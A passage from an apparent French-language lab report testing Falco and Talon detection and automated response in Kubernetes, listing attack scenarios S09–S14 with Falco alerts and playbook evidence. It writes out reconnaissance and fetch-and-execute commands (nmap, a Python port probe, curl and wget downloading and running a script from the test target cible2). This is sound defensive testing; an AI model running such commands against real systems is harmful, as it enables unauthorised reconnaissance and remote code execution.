-name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent= container=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery process=sh parent= container=cible1 pod=cible1 namespace=default) ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:11:58.049629471+0000: Warning PR10 ROUTE S08 PB1 (pod=cible1 namespace=default scenario=S08 commande=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S08) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S08.payload.json` / `.status` #### S09 — Parcours et inspection du répertoire de travail - MITRE ATT&CK : `T1083` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1046 Network Service Discovery; Drop and execute new binary in container; Packet socket created in container - Règle de routage Falco : `PR10 Route S09 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s09=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S09` → ✅ OUI - Incident Discord : `ROUTE-S09-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:12:04.544812939+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null parent= container=cible1 pod=cible1) || 2026-11-09T06:12:11.027529036+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2 parent=runc container=cible1 pod=cible1) || 2026-11-09T06:12:11.032253238+0000: Warning CUSTOM T1046 - Découverte des services réseau (user=root processus=nmap commande=nmap -Pn -sV --version-light -p 80,443,8080 cible2 container=cible1) ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:12:04.544812939+0000: Warning PR10 ROUTE S09 PB1 (pod=cible1 namespace=default scenario=S09 commande=sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S09) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S09.payload.json` / `.status` #### S10 — Identification des services réseau - MITRE ATT&CK : `T1046` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1046 Network Service Discovery; Drop and execute new binary in container; Packet socket created in container - Règle de routage Falco : `PR10 Route S10 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s10=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S10` → ✅ OUI - Incident Discord : `ROUTE-S10-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh nmap -Pn -sV --version-light -p 80,443,8080 cible2 ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:12:11.027529036+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2 parent=runc container=cible1 pod=cible1) || 2026-11-09T06:12:11.032253238+0000: Warning CUSTOM T1046 - Découverte des services réseau (user=root processus=nmap commande=nmap -Pn -sV --version-light -p 80,443,8080 cible2 container=cible1) || 2026-11-09T06:12:11.032253238+0000: Critical Executing binary not part of base image | proc_exe=nmap proc_sname=sh gparent=runc proc_exe_ino_ctime=1794203435595944653 proc_exe_ino_mtime=1743184838000000000 proc_exe_ino_ctime_duration_proc_start=1295435933237 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=nmap proc_exepath=/usr/bin/nmap parent=sh command=nmap -Pn -sV --version-light -p 80,443,8080 cible2 terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:12:11.027529036+0000: Warning PR10 ROUTE S10 PB1 (pod=cible1 namespace=default scenario=S10 commande=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S10) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S10.payload.json` / `.status` #### S11 — Découverte de services TCP sur plusieurs ports - MITRE ATT&CK : `T1046` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Drop and execute new binary in container; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer - Règle de routage Falco : `PR10 Route S11 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s11=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S11` → ✅ OUI - Incident Discord : `ROUTE-S11-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]" ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:12:25.126186139+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S11; python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]" parent= container=cible1 pod=cible1) || 2026-11-09T06:12:25.128024984+0000: Critical Executing binary not part of base image | proc_exe=python3 proc_sname=sh gparent= proc_exe_ino_ctime=1794203431370924062 proc_exe_ino_mtime=1786363619000000000 proc_exe_ino_ctime_duration_proc_start=1313756074362 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=python3 proc_exepath=/usr/bin/python3.13 parent=sh command=python3 -c import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports] terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER || 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent= container=cible1 pod=cible1) ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:12:25.126186139+0000: Warning PR10 ROUTE S11 PB1 (pod=cible1 namespace=default scenario=S11 commande=sh -c PR10_SCENARIO=S11; python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]") ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S11) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S11.payload.json` / `.status` #### S12 — Transfert, inspection et exécution d’un outil avec curl - MITRE ATT&CK : `T1105` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer; Drop and execute new binary in container - Règle de routage Falco : `PR10 Route S12 PB2` → ✅ OUI - Marqueur Talon : `falco-route-s12=true` → ✅ OUI - Playbook acheminé : `PB2 Routing Validation Playbook S12` → ✅ OUI - Incident Discord : `ROUTE-S12-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent= container=cible1 pod=cible1) || 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent= container=cible1) || 2026-11-09T06:12:33.689017766+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh process=sh parent= container=cible1 pod=cible1 namespace=default) ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:12:33.689017766+0000: Warning PR10 ROUTE S12 PB2 (pod=cible1 namespace=default scenario=S12 commande=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S12) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S12.payload.json` / `.status` #### S13 — Transfert, préparation et exécution d’un outil avec wget - MITRE ATT&CK : `T1105` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer; Drop and execute new binary in container; Custom T1057 Process Discovery - Règle de routage Falco : `PR10 Route S13 PB2` → ✅ OUI - Marqueur Talon : `falco-route-s13=true` → ✅ OUI - Playbook acheminé : `PB2 Routing Validation Playbook S13` → ✅ OUI - Incident Discord : `ROUTE-S13-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:12:40.236922455+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh parent= container=cible1 pod=cible1) || 2026-11-09T06:12:40.236922455+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh parent= container=cible1) || 2026-11-09T06:12:40.236922455+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh process=sh parent= container=cible1 pod=cible1 namespace=default) ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:12:40.236922455+0000: Warning PR10 ROUTE S13 PB2 (pod=cible1 namespace=default scenario=S13 commande=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S13) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S13.payload.json` / `.status` #### S14 — Préparation et exécution d’un script shell - MITRE ATT&CK : `T1059.004` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1057 Process Discovery; Drop and execute new binary in container - Règle de routage Falco : `PR10 Route S14 PB3` → ✅ OUI - Marqueur Talon : `falco-route-s14=true` → ✅ OUI - Playbook acheminé : `PB3 Routing Validation Playbook S14` → ✅ OUI - Incident Discord : `ROUTE-S14-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:12:46.806584234+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh parent= container=cible1 pod=cible1) || 2026-11-09T06:12:46.806584234+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh parent= container=cible1) || 2026-11-09T06:12:46.806584234+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh process=sh parent= container=cible1 pod=cible1 namespace=default) ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:12:46.806584234+0000: Warning PR10 ROUTE S14 PB3 (pod=cible1 namespace=default scenario=S14 commande=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S14) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S14.payload.json` / `.status` ## 3 — Prérequis Talon et validation du transport ### Prérequis RBAC / actions | Permission | Autorisée | |---|---| | get pods | oui | | patch pods | oui | | get pods/exec | oui | | create pods/exec | oui | | get pods/log | oui | | create networkpolicies.networking.k8s.io | oui | ### Validation passive du transport | Falco | Sidekick → Talon | Actions Talon | Mode | |---|---|---:|---| | ✅ OUI | ✅ chemin HTTP validé | 0 | PASSIF | ## 4 — Preuve représentative des actions complètes Le tableau de 14 scénarios ci-dessus démontre le routage de chaque attaque sans effet de confinement et constitue la seule phase qui envoie des incidents Discord à l’administrateur. Les trois lignes ci-dessous exécutent les vraies actions dans l’ordre opérationnel : PB1 collecte de preuves → PB2 quarantaine → PB3 quarantaine forensique et rétablissement de la capacité de service en dernier. Il s’agit de preuves techniques d’implantation; aucun message Discord supplémentaire n’est envoyé volontairement. ### État de préparation de la réponse complète | Vérification | Résultat | |---|---| | pod_label | vrai | | talon_event_seen | OUI | | talon_action_success | OUI | | Playbook | Sévérité | Action principale | Action Talon | Preuve du résultat | Résultat | |---|---|---|---|---|---| | PB1 | **FAIBLE** | PB1 Collect Runtime Evidence | ✅ OUI | ✅ OUI | **RÉUSSI** | | PB2 | **ÉLEVÉE** | PB2 Quarantine Artifact | ✅ OUI | ✅ OUI | **RÉUSSI** | | PB3 | **URGENTE** | PB3 Isolate Pod | ✅ OUI | ✅ OUI | **RÉUSSI** | ### PB1 — PB1 Collect Runtime Evidence - Déclencheur Falco : `PR10 Response Trigger PB1 Process Discovery` → OUI - Sidekick → Talon : OUI - Playbook Talon : `PB1 Evidence Collection Playbook` → OUI - Action principale : `PB1 Collect Runtime Evidence` → OUI - Preuve du résultat : OUI - Sévérité : FAIBLE **Validation de la collecte de preuves** ```text remote_status=COLLECTED context_nonempty=YES processes_nonempty=YES connections_nonempty=YES mounts_nonempty=YES manifest_nonempty=YES ``` **00-context.txt — aperçu du système et du contexte** ```text STACK_VERSION=v17-response-truth PLAYBOOK=PB1 ACTION=EVIDENCE_COLLECTION TIMESTAMP=2026-11-09T06:13:25Z HOSTNAME_RUNTIME=cible1 IDENTITY=uid=0(root) gid=0(root) groups=0(root) KERNEL=Linux cible1 7.0.0-1014-aws #14~24.04.1-Ubuntu SMP PREEMPT Fri Sep 18 21:24:59 UTC 2026 x86_64 GNU/Linux ``` **01-processes.txt — aperçu des processus** ```text === RÉPERTOIRES PROC === /proc/1 /proc/36 /proc/37 /proc/972 /proc/984 /proc/985 === LIGNES DE COMMANDE === /proc/1/cmdline:nginx: master process nginx -g daemon off; /proc/36/cmdline:nginx: worker process … ``` **02-connections.txt — aperçu des sockets et connexions** ```text === TCP === sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 122971 1 0000000000000000 100 0 0 10 0 1: 8500A8C0:8C30 F764600A:0050 06 00000000:00000000 03:000005C4 00000000 0 0 0 3 0000000000000000 2: 8500A8C0:A54E F764600A:0050 06 00000000:00000000 03:00000333 00000000 0 0 0 3 0000000000000000 3: 8500A8C0:D664 F764600A:0050 06 00000000:00000000 03:00000000 00000000 0 0 0 3 0000000000000000 === TCP6 === sl local_address remote_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 122972 1 0000000000000000 100 0 0 10 0 === UDP === … ``` **03-mounts.txt — aperçu des montages** ```text overlay / overlay rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/128/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/127/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/126/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/125/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/124/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/123/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/122/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/129/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/129/work,uuid=on,nouserxattr 0 0 proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0 tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0 devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0 mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0 sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0 cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0 /dev/root /etc/hosts ext4 rw,relatime,discard,errors=remount-ro,commit=30 0 0 /dev/root /dev/termination-log ext4 rw,relatime,discard,errors=remount-ro,commit=30 0 0 /dev/root /etc/hostname ext4 rw,relatime,discard,errors=remount-ro,commit=30 0 0 … ``` **04-files.txt — aperçu du système de fichiers** ```text 1136056 4 -rw-r--r-- 1 root root 2127 Nov 9 06:13 /tmp/talon-script.sh ``` **Manifeste SHA256 des preuves** ```text bb70c094af95bb19d7cf74c7485a8eee5400e4c013c93f11326a0fd7a3881d97 00-context.txt e68582525d161235f5792bd0e03f227b897313766071018a5f13cb433eff93ce 01-processes.txt e8e59797629e8fcd0fb3ba3a157ea46ad689c97531d4a7136df5bc2ecae2d4e7 02-connections.txt a59d9375808bb114768c8594edd4b5f049c3060ea45d6229966f41d3e41c8124 03-mounts.txt f46558082b0324c186230e955e435264796486e12d1117854b74d6c85717f0e4 04-files.txt ``` **Trace Talon corrélée** ```text 2026-11-09T06:13:25Z INF event event="Custom T1082 Enumeration Script" output="2026-11-09T06:13:25.503013381+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh /tmp/talon-script.sh parent= container=cible1)" priority=Warning source=syscall trace_id=eeff6c28d1df8cc2f75d4360b26c333d 2026-11-09T06:13:25Z INF event event="Custom T1059.004 Non Interactive Shell" output="2026-11-09T06:13:25.503013381+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh /tmp/talon-script.sh parent= container=cible1 pod=cible1)" priority=Warning source=syscall trace_id=aba72bc90e600ed76f4446b04ecde3f1 2026-11-09T06:13:25Z INF action action="PB1 Collect Runtime Evidence" actionner=kubernetes:script event="2026-11-09T06:13:25.007142564+0000: Warning PR10 RESPONSE PB1 (pod=cible1 namespace=default processus=ps commande=ps aux)" namespace=default pod=cible1 rule="PB1 Evidence Collection Playbook" status=success trace_id=5fae2c4b929b0ba67ba65c4314f7b213 2026-11-09T06:13:25Z INF action action="PB1 Collect Container Logs" actionner=kubernetes:log event="2026-11-09T06:13:25.007142564+0000: Warning PR10 RESPONSE PB1 (pod=cible1 namespace=default processus=ps commande=ps aux)" rule="PB1 Evidence Collection Playbook" status=in_progress trace_id=5fae2c4b929b0ba67ba65c4314f7b213 2026-11-09T06:13:25Z INF notification action="PB1 Collect Runtime Evidence" actionner=kubernetes:script notifier=k8sevents rule="PB1 Evidence Collection Playbook" stage=action status=success trace_id=5fae2c4b929b0ba67ba65c4314f7b213 2026-11-09T06:13:25Z INF action action="PB1 Collect Container Logs" actionner=kubernetes:log event="2026-11-09T06:13:25.007142564+0000: Warning PR10 RESPONSE PB1 (pod=cible1 namespace=default processus=ps commande=ps aux)" namespace=default output="/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration\n/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/\n/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh\n10-listen-on-ipv6-by-default.sh: info: Getting the checksum of /etc/nginx/conf.d/default.conf\n10-listen-on-ipv6-by-default.sh: info: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf\n/docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh\n/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh\n/docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh\n/docker-entrypoint.sh: Configuration complete; ready for start up\n2026/11/09 05:50:24 [notice] 1#1: using the \"epoll\" event method\n2026/11/09 05:50:24 [notice] 1#1: nginx/1.31.8\n2026/11/09 05:50:24 [notice] 1#1: built by gcc 14.2.0 (Debian 14.2.0-19) \n2026/11/09 05:50:24 [notice] 1#1: OS: Linux 7.0.0-1014-aws\n2026/11/09 05:50:24 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1073741816:1073741816\n2026/11/09 05:50:24 [notice] 1#1: start worker processes\n2026/11/09 05:50:24 [notice] 1#1: start worker process 36\n2026/11/09 05:50:24 [notice] 1#1: start worker process 37\n2026/11/09 05:50:30 [notice] 1#1: signal 17 (SIGCHLD) received from 69\n2026/11/09 05:50:30 [notice] 1#1: unknown process 69 exited with code 0\n192.168.0.134 - - [09/Nov/2026:05:50:42 +0000] \"GET / HTTP/1.1\" 200 896 \"-\" \"curl/8.14.1\" \"-\"\n192.168.0.134 - - [09/Nov/2026:06:02:44 +0000] \"GET / HTTP/1.1\" 200 896 \"-\" \"curl/8.14.1\" \"-\"\n192.168.0.134 - - [09/Nov/2026:06:06:26 +0000] \"GET / HTTP/1.1\" 200 896 \"-\" \"curl/8.14.1\" \"-\"\n192.168.0.134 - - [09/Nov/2026:06:08:40 +0000] \"GET / HTTP/1.1\" 200 896 \"-\" \"curl/8.14.1\" \"-\"\n" pod=cible1 rule="PB1 Evidence Collection Playbook" status=success trace_id=5fae2c4b929b0ba67ba65c4314f7b213 2026-11-09T06:13:25Z INF action action="PB1 Marker Complete" actionner=kubernetes:label event="2026-11-09T06:13:25.007142564+0000: Warning PR10 RESPONSE PB1 (pod=cible1 namespace=default processus=ps commande=ps aux)" rule="PB1 Evidence Collection Playbook" status=in_progress trace_id=5fae2c4b929b0ba67ba65c4314f7b213 2026-11-09T06:13:25Z INF notification action="PB1 Collect Container Logs" actionner=kubernetes:log notifier=k8sevents rule="PB1 Evidence Collection Playbook" stage=action status=success trace_id=5fae2c4b929b0ba67ba65c4314f7b213 2026-11-09T06:13:26Z INF action action="PB1 Marker Complete" actionner=kubernetes:label event="2026-11-09T06:13:25.007142564+0000: Warning PR10 RESPONSE PB1 (pod=cible1 namespace=default processus=ps commande=ps aux)" namespace=default output="the pod 'cible1' in the namespace 'default' has been labeled" pod=cible1 rule="PB1 Evidence Collection Playbook" status=success trace_id=5fae2c4b929b0ba67ba65c4314f7b213 2026-11-09T06:13:26Z INF notification action="PB1 Marker Complete" actionner=kubernetes:label notifier=k8sevents rule="PB1 Evidence Collection Playbook" stage=action status=success trace_id=5fae2c4b929b0ba67ba65c4314f7b213 ``` ### PB2 — PB2 Quarantine Artifact - Déclencheur Falco : `PR10 Response Trigger PB2 Tool Transfer` → OUI - Sidekick → Talon : OUI - Playbook Talon : `PB2 File Quarantine 